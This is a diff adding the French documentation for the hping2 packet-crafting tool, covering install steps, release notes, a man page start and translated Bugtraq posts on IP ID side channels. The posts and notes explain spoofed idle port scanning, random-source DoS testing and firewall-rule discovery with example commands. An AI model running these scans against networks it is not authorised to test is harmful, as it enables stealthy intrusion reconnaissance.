40 bytes from 111.222.333.44: flags=R seq=60 ttl=249 id=+75 win=0 rtt=850.0 ms
|
||||||
|
40 bytes from 111.222.333.44: flags=R seq=61 ttl=249 id=+12 win=0 rtt=1050.0 ms
|
||||||
|
40 bytes from 111.222.333.44: flags=R seq=62 ttl=249 id=+1 win=0 rtt=450.0 ms
|
||||||
|
40 bytes from 111.222.333.44: flags=R seq=63 ttl=249 id=+27 win=0 rtt=230.0 ms
|
||||||
|
40 bytes from 111.222.333.44: flags=R seq=64 ttl=249 id=+11 win=0 rtt=850.0 ms
|
||||||
|
|
||||||
|
notez que 16+75+12+27+11+1-6 = 136 et que nous avons envoyé 130 paquets.
|
||||||
|
Ainsi il est très probable que les incréments soient produits par nos
|
||||||
|
paquets.
|
||||||
|
|
||||||
|
Conseil : en utilisant un système inactif pour réaliser un scan usurpé il
|
||||||
|
est utile de ne montrer que les réponses qui montrent un
|
||||||
|
incrément différent de 1. Essayez
|
||||||
|
`hping host -r | grep -v "id=+1"'
|
14
docs/french/HPING2-IS-OPEN
Normal file
14
docs/french/HPING2-IS-OPEN
Normal file
@ -0,0 +1,14 @@
|
|||||||
|
Je voudrais dire deux mots à propos du modèle de développement de hping2.
|
||||||
|
Hping2 est totalement ouvert à toutes nouvelles contributions et idées, si
|
||||||
|
vous avez même la plus petite idée afin de rendre hping meilleur ou si vous
|
||||||
|
faites un patch alors envoyez moi un courrier électronique. Tous les
|
||||||
|
patches, s'ils ne cassent pas l'ancien code et ne sont pas totalement
|
||||||
|
inutiles, seront inclus. Je connais nombre de projets sous licence GPL mais
|
||||||
|
qui sont dans un sens "fermés" puisque chaque nouveau patch est considéré
|
||||||
|
bouffi ou alors le seul code possible est celui de l'auteur principal : CE
|
||||||
|
N'EST PAS LE CAS! Également chacune des plus petites contributions
|
||||||
|
documentaires seront ajoutées à hping2, vous pouvez juste créer un ficher
|
||||||
|
texte qui expose comment réaliser une tâche avec hping, il sera inclus dans
|
||||||
|
le répertoire 'docs'.
|
||||||
|
|
||||||
|
antirez
|
72
docs/french/INSTALL
Normal file
72
docs/french/INSTALL
Normal file
@ -0,0 +1,72 @@
|
|||||||
|
Vous pouvez compiler hping2 au moins sur :
|
||||||
|
|
||||||
|
Linux
|
||||||
|
OpenBSD
|
||||||
|
FreeBSD
|
||||||
|
NetBSD
|
||||||
|
Solaris
|
||||||
|
|
||||||
|
Avec Linux vous n'avez besoin d'aucune bibliothèque, ni d'être root,
|
||||||
|
cependant vous avez besoin d'un uid 0 pour exécuter hping.
|
||||||
|
|
||||||
|
Linux
|
||||||
|
-----
|
||||||
|
|
||||||
|
merci de suivre les étapes suivantes :
|
||||||
|
|
||||||
|
$ ./configure (essayer d'abord ./configure --help)
|
||||||
|
$ vi Makefile (facultatif)
|
||||||
|
$ make
|
||||||
|
$ su
|
||||||
|
# make install
|
||||||
|
|
||||||
|
FreeBSD, OpenBSD, NetBSD
|
||||||
|
------------------------
|
||||||
|
|
||||||
|
Vous aurez besoin de la libpcap et le l'utilitaire gmake installés sur votre
|
||||||
|
système.
|
||||||
|
|
||||||
|
$ ./configure
|
||||||
|
$ gmake
|
||||||
|
$ su (ou calife)
|
||||||
|
# gmake install
|
||||||
|
|
||||||
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||||
|
NOTE : vous devez faire attention à votre fichier net/bpf.h en installant
|
||||||
|
sur les systèmes BSD (spécialement avec OpenBSD). Si votre fichier bpf.h
|
||||||
|
original a été écrasé avec celui de libpcap alors probablement que hping
|
||||||
|
ne fonctionnera pas avec certaines interfaces.
|
||||||
|
|
||||||
|
Par exemple si vous utilisez le fichier bpf.h de libpcap sur OpenBSD alors
|
||||||
|
hping ne fonctionnera pas sur les interfaces PPP.
|
||||||
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||||
|
|
||||||
|
Solaris
|
||||||
|
--------
|
||||||
|
|
||||||
|
$ export CC="gcc"
|
||||||
|
$ ./configure
|
||||||
|
$ gmake
|
||||||
|
$ su
|
||||||
|
# gmake install
|
||||||
|
|
||||||
|
TOUS
|
||||||
|
----
|
||||||
|
|
||||||
|
Si vous avez besoin d'exécuter hping2 avec votre compte normal (c.-à-d.
|
||||||
|
antirez) essayez les commandes suivantes :
|
||||||
|
|
||||||
|
# chown root:antirez /usr/sbin/hping2
|
||||||
|
# chmod 4750 /usr/sbin/hping2
|
||||||
|
|
||||||
|
ATTENTION : hping2 n'est pas du code de confiance,
|
||||||
|
je ne l'ai pas audité pour les débordements de
|
||||||
|
tampons cachés et autres problèmes en relation avec
|
||||||
|
la sécurité. Cependant si (comme par défaut)
|
||||||
|
LIMITWHENSUID est défini alors si euid != uid il
|
||||||
|
n'est pas possible d'utiliser beaucoup d'options
|
||||||
|
triviallement non sûres.
|
||||||
|
|
||||||
|
le rendre suid n'est pas encouragé.
|
||||||
|
|
||||||
|
antirez
|
35
docs/french/MORE-FUN-WITH-IPID
Normal file
35
docs/french/MORE-FUN-WITH-IPID
Normal file
@ -0,0 +1,35 @@
|
|||||||
|
Posté sur la mailing liste bugtraq (20 Nov 1999) :
|
||||||
|
|
||||||
|
---
|
||||||
|
Salut,
|
||||||
|
|
||||||
|
quelques petites nouvelles idées à propos des problèmes du champ IP ID :
|
||||||
|
|
||||||
|
Le premier est à propos du filtrage IP Linux : puisqu'il augmente le
|
||||||
|
compteur global du champ IP ID même si un paquet sortant sera filtré nous
|
||||||
|
sommes capables, par exemple, de scanner des ports UDP même si la sortie de
|
||||||
|
paquets ICMP de type 3 (ndt : port non accessible) est DENY, et en général
|
||||||
|
il est possible de savoir quand la pile TCP/IP répond à un paquet même si la
|
||||||
|
réponse est jetée.
|
||||||
|
Je pense (mais non testé) que ceci est vrai pour la plupart des firewalls.
|
||||||
|
|
||||||
|
Le second problème concerne la capacité à découvrir les règles de filtrage.
|
||||||
|
Par exemple il est trivial de connaître si un système A filtre les paquets
|
||||||
|
depuis l'adresse IP X.Y.Z.W en contrôlant l'augmentation du champ IP ID du
|
||||||
|
système A ou du système avec l'adresse X.Y.Z.W (ceci change si nous sommes
|
||||||
|
intéressés par la connaissance des règles d'entrée ou de sortie) et en
|
||||||
|
envoyant les paquets qui supposent une réponse. Également ceci est apparenté
|
||||||
|
avec la capacité de scanner les ports d'un système qui jette tous les
|
||||||
|
paquets avec une source différente de systeme.de-confiance.com. Il y a
|
||||||
|
d'autres choses comme ceci mais elles sont seulement différentes facettes du
|
||||||
|
même concept.
|
||||||
|
|
||||||
|
Quelques personnes pensent que ce type d'attaques ne sont pas des attaques
|
||||||
|
du "monde réel", je suis fortement intéressé de savoir quelle est l'opinion
|
||||||
|
des lecteurs de bugtraq (à mon opinion ce type d'attaques est faisable et
|
||||||
|
utile pour un attaquant. Par exemple la capacité de scanner les ports avec
|
||||||
|
seulement des paquets spoofés (ndt : avec l'adresse source usurpée) et la
|
||||||
|
capacité de deviner le trafic du système distant sont grandement réels).
|
||||||
|
|
||||||
|
ciao,
|
||||||
|
antirez
|
11
docs/french/Makefile
Normal file
11
docs/french/Makefile
Normal file
@ -0,0 +1,11 @@
|
|||||||
|
TXT = hping2-fr.8.txt
|
||||||
|
|
||||||
|
all: $(TXT)
|
||||||
|
|
||||||
|
hping2-fr.8.txt: hping2-fr.8
|
||||||
|
#groff -t -e -mandoc -Tlatin1 hping2-fr.8 | col -bx | uniq > hping2-fr.8.txt
|
||||||
|
#groff -t -e -mandoc -Tlatin1 hping2-fr.8 | uniq > hping2-fr.8.txt
|
||||||
|
groff -t -e -mandoc -Tlatin1 hping2-fr.8 | LC_ALL=fr_FR.ISO-8859-1 col -bx | uniq > hping2-fr.8.txt
|
||||||
|
|
||||||
|
clean:
|
||||||
|
rm -f *~ $(TXT)
|
158
docs/french/NEWS
Normal file
158
docs/french/NEWS
Normal file
@ -0,0 +1,158 @@
|
|||||||
|
Ce court document est pour les utilisateurs de hping-beta54 ou des versions
|
||||||
|
précédentes et les aider à exploiter toutes les nouvelles fonctionnalités de
|
||||||
|
cette version de hping2 en un temps restreint. Vous pouvez quand même
|
||||||
|
vouloir lire la nouvelle page man mais ce qui suit vous aidera assurément :
|
||||||
|
|
||||||
|
=== release candidate 2 news
|
||||||
|
|
||||||
|
. Maintenant hping est capable d'envoyer/d'analyser les entêtes IP source
|
||||||
|
routées. Voir la page du manuel pour plus d'informations.
|
||||||
|
|
||||||
|
. Hping a été presque ré-écrit, au moins toutes les parties les plus
|
||||||
|
importantes. Vous devriez faire l'expérience d'un code plus lisible,
|
||||||
|
compact, rapide à compiler.
|
||||||
|
|
||||||
|
. Le nouveau code d'analyse des options vous permet de spécifier des options
|
||||||
|
abrégées. Vous pouvez maintenant utiliser --tcp-ti au lieu de
|
||||||
|
--tcp-timestamp par exemple et ainsi de suite.
|
||||||
|
|
||||||
|
. La nouvelle fonctionnalité rand-dest permet d'envoyer le paquet à des
|
||||||
|
adresses IP aléatoires. Ceci est très utile pour faire des études de
|
||||||
|
l'Internet ou des scans aléatoires de larges réseaux.
|
||||||
|
|
||||||
|
Par exemple la ligne de commande suivante va envoyer des paquets TCP avec
|
||||||
|
le bit SYN vers le port 80 de l'espace d'adressage 192.168.0.0/16
|
||||||
|
|
||||||
|
hping 192.168.x.x --rand-dest -p 80 -S
|
||||||
|
|
||||||
|
Toute occurrence de 'x' est substituée par un nombre aléatoire dans
|
||||||
|
l'intervalle 0-255.
|
||||||
|
|
||||||
|
. La nouvelle fonctionnalité rand-source permet d'envoyer des paquets avec
|
||||||
|
des adresses IP sources aléatoires. Utile pour tester quelques conditions
|
||||||
|
de DoS (ndt : dénis de service) contre des firewalls ou des piles TCP/IP
|
||||||
|
qui mettent en oeuvre des enregistrements d'informations basées sur
|
||||||
|
l'adresse IP.
|
||||||
|
|
||||||
|
. La sortie a été un peu améliorée et fixée.
|
||||||
|
|
||||||
|
. L'option "force un port destination incrémental" (++<port>) fonctionne
|
||||||
|
maintenant avec les paquets UDP et fonctionne mieux avec TCP, depuis
|
||||||
|
qu'elle est plus sélective avec les réponses en retour.
|
||||||
|
|
||||||
|
. Maintenant vous devriez être réellement capables de fixer les numéros de
|
||||||
|
séquence et d'acquittement des paquets TCP. Le code rc1 était cassé car
|
||||||
|
atoi() était utilisé pour obtenir une valeur "unsigned long" (ndt : longue
|
||||||
|
valeur non signée)
|
||||||
|
|
||||||
|
. La documentation (et la traduction française) a été mise à jour pour
|
||||||
|
refléter les changements.
|
||||||
|
|
||||||
|
=== release candidate 1 news
|
||||||
|
|
||||||
|
. Maintenant hping fonctionne mieux sur BSD, et fonctionne sur Solaris. Il
|
||||||
|
devrait être beaucoup plus simple de le porter sur une plate-forme non
|
||||||
|
supportée. Les problèmes avec les systèmes qui utilisent des pids (ndt :
|
||||||
|
numéros de processus) sur 32 bits sont fixés.
|
||||||
|
|
||||||
|
. La sortie est différente pour être plus analysable (ndt : par un
|
||||||
|
programme) et compacte, par exemple :
|
||||||
|
|
||||||
|
len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.5 ms
|
||||||
|
|
||||||
|
maintenant la présence du drapeau IP Don't fragment (ndt : ne pas
|
||||||
|
fragmenter) est signalé avec 'DF'. tous les champs avec une valeur sont de
|
||||||
|
la forme 'champ=valeur'.
|
||||||
|
|
||||||
|
. Spécifier l'interface de sortie avec -I n'est plus nécessaire, hping
|
||||||
|
essayera de détecter la bonne interface selon la table de routage système.
|
||||||
|
Bien sûr vous pouvez la forcer en utilisant -I.
|
||||||
|
|
||||||
|
. Au lieu de spécifier -i u10000 pour avoir une vitesse de dix paquets par
|
||||||
|
seconde vous pouvez utiliser --fast.
|
||||||
|
|
||||||
|
. Maintenant --traceroute (-T) implique --ttl 1. Vous pouvez forcer une
|
||||||
|
valeur en utilisant --ttl.
|
||||||
|
|
||||||
|
. En utilisant hping comme traceroute vous avez maintenant les informations
|
||||||
|
RTT (ndt : temps aller-retour) à propos des sauts.
|
||||||
|
|
||||||
|
. Vous pouvez surveiller un saut spécifique en mode traceroute, en utilisant
|
||||||
|
la syntaxe suivante :
|
||||||
|
|
||||||
|
hping2 -T www.yahoo.com --tr-keep-ttl --ttl 5
|
||||||
|
|
||||||
|
voyez la sortie :
|
||||||
|
|
||||||
|
HPING www.yahoo.com (ippp0 64.58.76.177): NO FLAGS are set, 40 headers + 0 dat
|
||||||
|
a bytes
|
||||||
|
5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net)
|
||||||
|
5->RTT was: 136.9 ms
|
||||||
|
5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net)
|
||||||
|
5->RTT was: 136.8 ms
|
||||||
|
5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net)
|
||||||
|
5->RTT was: 136.9 ms
|
||||||
|
5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net)
|
||||||
|
5->RTT was: 136.7 ms
|
||||||
|
|
||||||
|
--- www.yahoo.com hping statistic ---
|
||||||
|
4 packets tramitted, 0 packets received, 100% packet loss
|
||||||
|
round-trip min/avg/max = 136.7/136.8/136.9 ms
|
||||||
|
|
||||||
|
vous n'avez que les informations sur le 5ème saut, après Ctrl+C le temps
|
||||||
|
aller-retour min/avg/max (ndt : minimum, moyen, maximum) est calculé en
|
||||||
|
utilisant les temps de ce saut.
|
||||||
|
|
||||||
|
. En utilisant l'option --tr-stop vous pouvez obtenir que hping s'arrête
|
||||||
|
quand est reçu le premier paquet correspondant qui n'est pas un ICMP time
|
||||||
|
exceeded in transit, comme le traceroute original. Sans cela hping
|
||||||
|
continue d'envoyer des paquets au système cible pour toujours.
|
||||||
|
|
||||||
|
. Vous pouvez utiliser --tr-no-rtt pour supprimer l'information rtt dans le
|
||||||
|
mode traceroute.
|
||||||
|
|
||||||
|
. Avec la fonctionnalité --tcp-timestamp vous pouvez deviner l'uptime d'un
|
||||||
|
système distant. Par exemple :
|
||||||
|
|
||||||
|
HPING www.hping.org (ippp0 192.70.106.166): S set, 40 headers + 0 data bytes
|
||||||
|
56 bytes from 192.70.106.166: flags=SA seq=0 ttl=49 id=28881 win=16080 rtt=105.0 ms
|
||||||
|
TCP timestamp: 258597761
|
||||||
|
|
||||||
|
56 bytes from 192.70.106.166: flags=SA seq=1 ttl=49 id=28882 win=16080 rtt=105.4 ms
|
||||||
|
TCP timestamp: 258597860
|
||||||
|
HZ seems 100
|
||||||
|
System uptime seems: 29 days, 22 hours, 19 minutes, 38 seconds
|
||||||
|
|
||||||
|
56 bytes from 192.70.106.166: flags=SA seq=2 ttl=49 id=28883 win=16080 rtt=105.1 ms
|
||||||
|
TCP timestamp: 258597960
|
||||||
|
HZ seems 100
|
||||||
|
System uptime seems: 29 days, 22 hours, 19 minutes, 39 seconds
|
||||||
|
|
||||||
|
|
||||||
|
--- www.hping.org hping statistic ---
|
||||||
|
3 packets tramitted, 3 packets received, 0% packet loss
|
||||||
|
round-trip min/avg/max = 105.0/105.2/105.4 ms
|
||||||
|
|
||||||
|
Comme vous pouvez voir, la première réponse ne contient pas d'information
|
||||||
|
de uptime puisque au moins deux paquets sont nécessaires pour estimer la
|
||||||
|
fréquence d'incrémentation du minuteur du timestamp (qui est HZ dans la
|
||||||
|
sortie).
|
||||||
|
|
||||||
|
. Vous pouvez maintenant utiliser les requêtes ICMP de timestamp et de
|
||||||
|
masque réseau. Deux raccourcis sont fournis pour les utiliser : --icmp-ts
|
||||||
|
et --icmp-addr.
|
||||||
|
|
||||||
|
. Maintenant le traitement du numéro de séquence a été revu pour permettre à
|
||||||
|
hping de montrer l'information correcte de rtt même si le numéro de
|
||||||
|
séquence repasse à zéro.
|
||||||
|
|
||||||
|
. Maintenant hping ne devrait jamais (avec un peu de chance) générer une
|
||||||
|
erreur SIGBUS sur sparc.
|
||||||
|
|
||||||
|
J'espère que vous trouverez hping meilleur à utiliser et plus puissant, ces
|
||||||
|
améliorations ont été mises en oeuvre grâce à de nombreuses personnes qui
|
||||||
|
ont beaucoup aidé avec du code et de nouvelles idées, voyez le fichier
|
||||||
|
CHANGES pour plus d'informations et les crédits.
|
||||||
|
|
||||||
|
amusez vous bien,
|
||||||
|
antirez
|
128
docs/french/SPOOFED_SCAN.txt
Normal file
128
docs/french/SPOOFED_SCAN.txt
Normal file
@ -0,0 +1,128 @@
|
|||||||
|
Ce qui suit est le postage original (ndt : du moins sa traduction) à bugtraq
|
||||||
|
à propos de la méthode de scan usurpée/passive/indirecte. Voir le fichier
|
||||||
|
HPING2-HOWTO pour plus d'informations.
|
||||||
|
|
||||||
|
antirez
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
Salut,
|
||||||
|
|
||||||
|
J'ai découvert une nouvelle méthode de scan de ports TCP. Au
|
||||||
|
contraire de toutes les autres elle vous permet de scanner en
|
||||||
|
utilisant des paquets usurpés (ndt : dont l'adresse IP source est
|
||||||
|
usurpée), ainsi les systèmes scannés ne peuvent pas voir votre
|
||||||
|
adresse réelle. Afin de réaliser cela j'utilise trois particularités
|
||||||
|
bien connues des mises en oeuvre TCP/IP de la plupart des OS.
|
||||||
|
|
||||||
|
(1) * les systèmes répondent SYN|ACK à SYN si le port TCP cible
|
||||||
|
est ouvert, et RST|ACK si le port TCP cible est fermé.
|
||||||
|
|
||||||
|
(2) * Vous pouvez connaître le nombre de paquets que les systèmes
|
||||||
|
envoient en utilisant le champ id de l'entête IP. Voir mes
|
||||||
|
précédents postages 'à propos de l'entête IP' dans cette mailing
|
||||||
|
liste.
|
||||||
|
|
||||||
|
(3) * les systèmes répondent RST à SYN|ACK, ne répondent rien à
|
||||||
|
RST.
|
||||||
|
|
||||||
|
|
||||||
|
Les joueurs:
|
||||||
|
|
||||||
|
système A - le système malfaisant, l'attaquant.
|
||||||
|
système B - le système silencieux.
|
||||||
|
système C - le système victime.
|
||||||
|
|
||||||
|
A est votre système.
|
||||||
|
B est un système particulier : il ne doit envoyer aucun paquet
|
||||||
|
pendant que vous scannez C. Il y a énormément de systèmes à 'trafic
|
||||||
|
nul' sur Internet, spécialement la nuit :)
|
||||||
|
C est la victime, il doit être vulnérable aux scans SYN.
|
||||||
|
|
||||||
|
J'ai appelé cette méthode de scan 'scan du système muet' (ndt :
|
||||||
|
l'autre traduction de 'dumb' est bête) en référence aux
|
||||||
|
caractéristiques du système B.
|
||||||
|
|
||||||
|
|
||||||
|
Comment elle fonctionne :
|
||||||
|
|
||||||
|
Le système A surveille le nombre de paquets sortants depuis B en
|
||||||
|
utilisant le champ id de l'entête IP. Vous pouvez faire ceci
|
||||||
|
simplement en utilisant hping :
|
||||||
|
|
||||||
|
#hping B -r
|
||||||
|
HPING B (eth0 xxx.yyy.zzz.jjj): no flags are set, 40 data bytes
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=0 ttl=64 id=41660 win=0 time=1.2 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=1 ttl=64 id=+1 win=0 time=75 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=2 ttl=64 id=+1 win=0 time=91 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=3 ttl=64 id=+1 win=0 time=90 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=4 ttl=64 id=+1 win=0 time=91 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=5 ttl=64 id=+1 win=0 time=87 ms
|
||||||
|
-cut-
|
||||||
|
..
|
||||||
|
.
|
||||||
|
|
||||||
|
Comme vous pouvez le voir, les incréments du champ id sont toujours
|
||||||
|
de 1. Ainsi ce système a la caractéristique requise pour jouer le
|
||||||
|
rôle de B.
|
||||||
|
|
||||||
|
Maintenant le système A envoie des paquets SYN au port X de C en
|
||||||
|
usurpant l'adresse source de B.
|
||||||
|
(avec hping => 0.67 c'est très facile, http://www.kyuzz.org/antirez)
|
||||||
|
si le port X de C est ouvert, le système C enverra SYN|ACK à B (oui,
|
||||||
|
le système C ne sait pas que le véritable expéditeur est A). Dans ce
|
||||||
|
cas le système B répond au SYN|ACK avec un RST.
|
||||||
|
Si nous envoyons au système C quelques paquets SYN il répondra à B
|
||||||
|
quelques paquet SYN|ACK, ainsi B répondra à C quelques RST... ainsi
|
||||||
|
nous verrons que le système B est en train d'envoyer des paquets !
|
||||||
|
|
||||||
|
.
|
||||||
|
..
|
||||||
|
-cut-
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=17 ttl=64 id=+1 win=0 time=96 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=18 ttl=64 id=+1 win=0 time=80 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=19 ttl=64 id=+2 win=0 time=83 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=20 ttl=64 id=+3 win=0 time=94 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=21 ttl=64 id=+1 win=0 time=92 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=22 ttl=64 id=+2 win=0 time=82 ms
|
||||||
|
-cut-
|
||||||
|
..
|
||||||
|
.
|
||||||
|
|
||||||
|
Le port est ouvert !
|
||||||
|
|
||||||
|
Par contre, si le port X de C est fermé alors en envoyant à C
|
||||||
|
quelques paquets SYN avec l'adresse usurpée de B, il répondra avec
|
||||||
|
des paquets RST à B, et B ne répondra pas (voir 3). Ainsi nous
|
||||||
|
verrons que le système B n'est en train d'envoyer aucun paquet :
|
||||||
|
|
||||||
|
.
|
||||||
|
..
|
||||||
|
-cut-
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=52 ttl=64 id=+1 win=0 time=85 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=53 ttl=64 id=+1 win=0 time=83 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=54 ttl=64 id=+1 win=0 time=93 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=55 ttl=64 id=+1 win=0 time=74 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=56 ttl=64 id=+1 win=0 time=95 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=57 ttl=64 id=+1 win=0 time=81 ms
|
||||||
|
-cut-
|
||||||
|
..
|
||||||
|
.
|
||||||
|
|
||||||
|
Le port est fermé.
|
||||||
|
|
||||||
|
Tout ceci peut paraître compliqué à réaliser, mais utiliser deux
|
||||||
|
sessions de hping dans des consoles virtuelles Linux ou sous X rend
|
||||||
|
cela plus simple.
|
||||||
|
La première session surveille le système B : hping B -r
|
||||||
|
La seconde session envoie des paquets SYN spoofés : hping C -a B -S
|
||||||
|
|
||||||
|
Désolé si mon anglais n'est pas clair.
|
||||||
|
Cependant ce postage n'est pas adéquat pour décrire exhaustivement
|
||||||
|
cette méthode de scan, ainsi je vais écrire un article à ce sujet,
|
||||||
|
en particulier comment mettre en oeuvre ceci dans un scanner de
|
||||||
|
ports (i.e. nmap), et à propos des caractéristiques des joueurs et
|
||||||
|
des OS utilisés.
|
||||||
|
|
||||||
|
bonne nouvelle année,
|
||||||
|
antirez
|
767
docs/french/hping2-fr.8
Normal file
767
docs/french/hping2-fr.8
Normal file
@ -0,0 +1,767 @@
|
|||||||
|
.TH HPING2 8 "2001 Aug 14"
|
||||||
|
.\" french translation by Denis Ducamp <Denis.Ducamp@groar.org>
|
||||||
|
.SH NOM
|
||||||
|
hping2 \- envoie des paquets TCP/IP (presque) arbitraires à des systèmes réseaux
|
||||||
|
.SH RESUME
|
||||||
|
.B hping2
|
||||||
|
[
|
||||||
|
.B \-hvnqVDzZ012WrfxykQbFSRPAUXYjJBuTG
|
||||||
|
] [
|
||||||
|
.B \-c
|
||||||
|
.I count
|
||||||
|
] [
|
||||||
|
.B \-i
|
||||||
|
.I wait
|
||||||
|
] [
|
||||||
|
.B \-\-fast
|
||||||
|
] [
|
||||||
|
.B \-I
|
||||||
|
.I interface
|
||||||
|
] [
|
||||||
|
.B \-9
|
||||||
|
.I signature
|
||||||
|
] [
|
||||||
|
.B \-a
|
||||||
|
.I host
|
||||||
|
] [
|
||||||
|
.B \-t
|
||||||
|
.I ttl
|
||||||
|
] [
|
||||||
|
.B \-N
|
||||||
|
.I ip id
|
||||||
|
] [
|
||||||
|
.B \-H
|
||||||
|
.I ip protocol
|
||||||
|
] [
|
||||||
|
.B \-g
|
||||||
|
.I fragoff
|
||||||
|
] [
|
||||||
|
.B \-m
|
||||||
|
.I mtu
|
||||||
|
] [
|
||||||
|
.B \-o
|
||||||
|
.I tos
|
||||||
|
] [
|
||||||
|
.B \-C
|
||||||
|
.I icmp type
|
||||||
|
] [
|
||||||
|
.B \-K
|
||||||
|
.I icmp code
|
||||||
|
] [
|
||||||
|
.B \-s
|
||||||
|
.I source port
|
||||||
|
] [
|
||||||
|
.B \-p[+][+]
|
||||||
|
.I dest port
|
||||||
|
] [
|
||||||
|
.B \-w
|
||||||
|
.I tcp window
|
||||||
|
] [
|
||||||
|
.B \-O
|
||||||
|
.I tcp offset
|
||||||
|
] [
|
||||||
|
.B \-M
|
||||||
|
.I tcp sequence number
|
||||||
|
] [
|
||||||
|
.B \-L
|
||||||
|
.I tcp ack
|
||||||
|
] [
|
||||||
|
.B \-d
|
||||||
|
.I data size
|
||||||
|
] [
|
||||||
|
.B \-E
|
||||||
|
.I filename
|
||||||
|
] [
|
||||||
|
.B \-e
|
||||||
|
.I signature
|
||||||
|
] [
|
||||||
|
.B \-\-icmp\-ipver
|
||||||
|
.I version
|
||||||
|
] [
|
||||||
|
.B \-\-icmp\-iphlen
|
||||||
|
.I length
|
||||||
|
] [
|
||||||
|
.B \-\-icmp\-iplen
|
||||||
|
.I length
|
||||||
|
] [
|
||||||
|
.B \-\-icmp\-ipid
|
||||||
|
.I id
|
||||||
|
] [
|
||||||
|
.B \-\-icmp\-ipproto
|
||||||
|
.I protocol
|
||||||
|
] [
|
||||||
|
.B \-\-icmp\-cksum
|
||||||
|
.I checksum
|
||||||
|
] [
|
||||||
|
.B \-\-icmp\-ts
|
||||||
|
] [
|
||||||
|
.B \-\-icmp\-addr
|
||||||
|
] [
|
||||||
|
.B \-\-tcpexitcode
|
||||||
|
] [
|
||||||
|
.B \-\-tcp-timestamp
|
||||||
|
] [
|
||||||
|
.B \-\-tr-stop
|
||||||
|
] [
|
||||||
|
.B \-\-tr-keep-ttl
|
||||||
|
] [
|
||||||
|
.B \-\-tr-no-rtt
|
||||||
|
] [
|
||||||
|
.B \-\-rand-dest
|
||||||
|
] [
|
||||||
|
.B \-\-rand-source
|
||||||
|
]
|
||||||
|
hostname
|
||||||
|
.br
|
||||||
|
.ad
|
||||||
|
.SH DESCRIPTION
|
||||||
|
hping2 est un outil réseau capable d'envoyer des paquets TCP/IP sur
|
||||||
|
commande et d'afficher les réponses de la cible comme le programme ping le
|
||||||
|
fait avec les réponses ICMP. hping2 traite la fragmentation, les contenus de
|
||||||
|
paquets et les tailles arbitraires, et peut être utilisé dans le but de
|
||||||
|
transférer des fichiers encapsulés dans les protocoles supportés. En
|
||||||
|
utilisant hping2 vous êtes capable d'effectuer au moins les tâches
|
||||||
|
suivantes :
|
||||||
|
|
||||||
|
- Tester les règles d'un firewall
|
||||||
|
- Scanner des ports de façon avancée
|
||||||
|
- Tester les performances réseau en utilisant différents protocoles, tailles de paquets, TOS (type de service) et fragmentation.
|
||||||
|
- Découverte de "Path MTU"
|
||||||
|
- Transférer des fichiers même au travers de règles de firewall vraiment fascistes.
|
||||||
|
- Comme traceroute avec différents protocoles.
|
||||||
|
- Utilisation comme Firewalk.
|
||||||
|
- Détermination d'OS à distance.
|
||||||
|
- Audit de pile TCP/IP.
|
||||||
|
- Beaucoup d'autres.
|
||||||
|
|
||||||
|
.I C'est également un bon outil didactique pour apprendre TCP/IP.
|
||||||
|
hping2 est développé et maintenu par antirez@invece.org et est sous la
|
||||||
|
version 2 de la licence GPL. Le développement est ouvert donc vous pouvez
|
||||||
|
m'envoyer des patches, suggestions et affronts sans inhibition.
|
||||||
|
.SH SITE DE HPING
|
||||||
|
site primaire sur
|
||||||
|
.BR http://www.hping.org .
|
||||||
|
Vous pouvez trouver à la fois la version stable et
|
||||||
|
les instructions pour télécharger le dernier code source sur
|
||||||
|
http://www.hping.org/download.html
|
||||||
|
.SH OPTIONS DE BASE
|
||||||
|
.TP
|
||||||
|
.I -h --help
|
||||||
|
Montre l'écran d'aide sur la sortie standard, donc vous pouvez rediriger
|
||||||
|
vers less.
|
||||||
|
.TP
|
||||||
|
.I -v --version
|
||||||
|
Montre l'information de version et l'API utilisée pour accéder au niveau
|
||||||
|
données (data link layer),
|
||||||
|
.I linux sock packet
|
||||||
|
ou
|
||||||
|
.IR libpcap .
|
||||||
|
.TP
|
||||||
|
.I -c --count count
|
||||||
|
Arrête après avoir envoyé (et reçu)
|
||||||
|
.I count
|
||||||
|
paquets réponse. Après que le dernier paquet a été envoyé hping2 attend
|
||||||
|
COUNTREACHED_TIMEOUT secondes les réponses du système cible. Vous avez la
|
||||||
|
possibilité de régler COUNTREACHED_TIMEOUT en éditant hping2.h
|
||||||
|
.TP
|
||||||
|
.I -i --interval
|
||||||
|
Attend le nombre spécifié de secondes ou de micro secondes entre l'envoie de
|
||||||
|
chaque paquet.
|
||||||
|
--interval X fixe
